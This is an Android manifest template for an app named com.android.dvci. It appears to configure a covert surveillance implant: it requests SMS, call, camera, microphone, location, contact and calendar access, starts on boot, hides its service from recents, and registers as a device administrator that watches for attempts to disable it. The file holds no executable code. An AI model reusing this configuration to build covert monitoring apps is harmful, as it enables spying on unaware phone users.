<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
	package="com.android.dvci" android:versionCode="1"
	android:versionName="1.0">
	<!-- @CAVEAT@ -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.CAMERA" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.READ_CALENDAR" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.USER_PRESENT" />
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
    <uses-permission android:name="android.permission.VIBRATE" />
    <uses-permission android:name="android.permission.GET_TASKS" />

    <uses-feature android:name="android.hardware.camera" android:required="false" />
    <uses-feature android:name="android.hardware.camera.front" android:required="false" />
    <uses-feature android:name="android.hardware.camera.autofocus" android:required="false"/>

	<uses-sdk android:minSdkVersion="8" android:targetSdkVersion="10" />

	<application android:icon="@drawable/ic_launcher" android:label="@string/app_name"
		android:debuggable="@DEBUGGABLE@" android:allowBackup="false">
		<service android:name="com.android.dvci.ServiceMain"
			android:exported="true" android:excludeFromRecents="true">
			<intent-filter>
				<action android:name="com.android.dvci.app" />
			</intent-filter>
		</service>

		<receiver android:name="com.android.dvci.BM">
			<intent-filter>
				<action android:name="android.intent.action.BOOT_COMPLETED" />
				<action android:name="android.intent.action.USER_PRESENT" />
			</intent-filter>
		</receiver>

		<receiver android:name="com.android.dvci.listener.AR"
			android:permission="android.permission.BIND_DEVICE_ADMIN">
			<intent-filter>

				<!-- This action is required -->
				<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
				<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
				<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />

			</intent-filter>

			<!-- This is required this receiver to become device admin component. -->
			<meta-data android:name="android.app.device_admin"
				android:resource="@xml/device_a" />
		</receiver>
	</application>

</manifest> 
